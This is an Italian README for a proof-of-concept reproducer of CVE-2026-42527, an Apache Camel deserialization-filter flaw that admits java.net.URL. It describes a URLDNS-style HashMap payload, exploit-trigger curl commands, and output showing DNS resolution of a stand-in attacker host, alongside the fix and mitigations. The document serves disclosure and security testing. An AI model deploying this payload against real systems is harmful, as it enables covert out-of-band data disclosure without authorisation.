
Riproduttore per CVE-2026-42527 — Apache Camel ObjectInputFilter predefinito permissivo ammette java.net.URL, abilitando un canale laterale out-of-band basato su DNS
Questo progetto dimostra CVE-2026-42527 in Apache Camel. Il pattern predefinito di ObjectInputFilter che
diversi componenti Camel includono per il filtraggio di deserializzazione difensivo —
java.**;javax.**;org.apache.camel.**;!* — utilizza un glob ricorsivo java.** che ammette java.net.URL.
java.net.URL.hashCode() esegue una risoluzione DNS dell'host dell'URL, quindi deserializzare una HashMap (o
qualsiasi collezione che calcola hash dei suoi elementi) contenente una chiave java.net.URL fa sì che la JVM
emetta una query DNS verso un host controllato dall'attaccante durante la deserializzazione. Il controllo del
filtro a livello di classe passa (l'oggetto risultante è una HashMap, che è nella lista consentita), quindi
nulla lo ferma — un canale laterale di divulgazione di informazioni out-of-band (non RCE).
Avviso: https://camel.apache.org/security/CVE-2026-42527.html
Questo difetto è stato introdotto dalla serie di indurimento della deserializzazione (CAMEL-23297/23319/23321/23322/23324), che ha aggiunto il filtro predefinito troppo permissivo. CVE-2026-42527 lo restringe.
Questa PoC utilizza camel-mina 4.18.2, dove MinaConverter.toObjectInput installa il filtro predefinito
direttamente sull'ObjectInputStream, quindi il filtro è il controllo principale (un contrasto netto tra
versione affetta e corretta):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
Il glob java.** ammette java.net.URL. Durante la deserializzazione di una HashMap<URL, ...>, HashMap.readObject()
reinserisce l'entry e calcola hash(key) → URL.hashCode() → InetAddress.getByName(host) → una query DNS
verso l'host dell'attaccante. La correzione in 4.18.3 / 4.21.0 antepone un rifiuto:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Ora java.net.URL viene rifiutato durante la deserializzazione (InvalidClassException: filter status: REJECTED) prima
che hashCode() venga mai eseguito — nessuna query DNS.
La più alta esposizione reale è nella famiglia camel-jms, dove
JmsBinding.extractBodyFromJmschiamaObjectMessage.getObject()incondizionatamente quandomapJmsMessage=true(impostazione predefinita). Questa PoC utilizza camel-mina perché è auto-contenuto (nessun broker) e il filtro risiede direttamente sullo stream.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() risolve l'host tramite il resolver della JVM. Per osservare quella risoluzione in modo
deterministico e offline, l'app registra un java.net.spi.InetAddressResolverProvider personalizzato (JDK 18+,
JEP 418) che registra qualsiasi hostname contenente il marker dell'attaccante e risponde con un stub di loopback.
Vedere l'host dell'attaccante raggiungere il resolver è il canale laterale out-of-band che si attiva.
Il payload è costruito con il classico trucco ysoserial URLDNS: il campo hashCode cache dell'URL viene
pre-seminato in modo che l'inserimento nella mappa dal lato costruttore non risolva l'host, poi viene
reimpostato a -1 in modo che la risoluzione avvenga solo quando la vittima deserializza. (--add-opens java.base/java.net è
necessario per quella riflessione — un dettaglio di costruzione del payload, non correlato alla vulnerabilità.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (filtro predefinito permissivo)
├── Dockerfile # esegue l'app (--add-opens java.base/java.net per la costruzione del payload)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # vittima: consumatore mina -> ObjectInput.readObject()
│ ├── PayloadFactory.java # payload HashMap<URL> URLDNS (nessun DNS lato costruttore)
│ ├── ExfilResolverProvider.java # server DNS stub (InetAddressResolverProvider) che registra le risoluzioni
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: invia il payload su TCP, controlla la risoluzione DNS
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Inviato payload HashMap<URL> a mina:tcp://127.0.0.1:5555
# Host chiave URL: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> Prova del canale laterale DNS — il resolver ha visto una risoluzione per l'host dell'attaccante: true
# risoluzioni osservate: [dns-exfil-proof.cve-2026-42527.attacker.test]
true significa che la deserializzazione della HashMap<URL> dell'attaccante ha risolto l'host dell'attaccante — un
server DNS controllato dall'attaccante vedrebbe quella query.
Esegui con un filtro JVM-wide indurito (che toObjectInput rispetta, e che rispecchia la correzione 4.18.3):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# poi: curl -s http://localhost:8080/exploit/inject
# -> ... il resolver ha visto una risoluzione per l'host dell'attaccante: false
# (il log della route mostra InvalidClassException: filter status: REJECTED)
docker compose down
Qualsiasi consumatore Camel affetto che deserializza byte controllati dall'attaccante sotto il filtro predefinito —
in particolare un consumatore camel-jms/sjms/amqp con mapJmsMessage=true, o i componenti mina/netty/vertx-http/
infinispan e repository di aggregazione — dove l'attaccante può fornire una HashMap<URL> (o qualsiasi collezione
che calcola hash di java.net.URL).
deserializationFilter / -Djdk.serialFilter, e nessuna lista di consentiti
lato provider).java.net.URL all'interno di una collezione che calcola hash nel payload.
Nessuna libreria gadget è richiesta — solo classi JDK standard.Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), che modifica il filtro predefinito per negare java.net.**.
In attesa dell'aggiornamento:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter o il
-Djdk.serialFilter JVM-wide con una negazione esplicita:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(o !java.net.**;java.**;org.apache.camel.**;!* per i componenti del repository di aggregazione, che omettono
javax.**).Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità pubblicamente divulgata e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componenti | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, e repository di aggregazione (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Difetto | Il filtro predefinito java.**;javax.**;org.apache.camel.**;!* ammette java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (deserializzazione non sicura) che porta a divulgazione di informazioni out-of-band / SSRF cieco via DNS |
| Impatto | Query DNS osservabili dall'attaccante durante la deserializzazione (canale laterale di esfiltrazione dati) |
| Versioni Affette | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Versioni Corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Segnalato da | Venkatraman Kumar (Securin) e Yu Bao (PayPal) |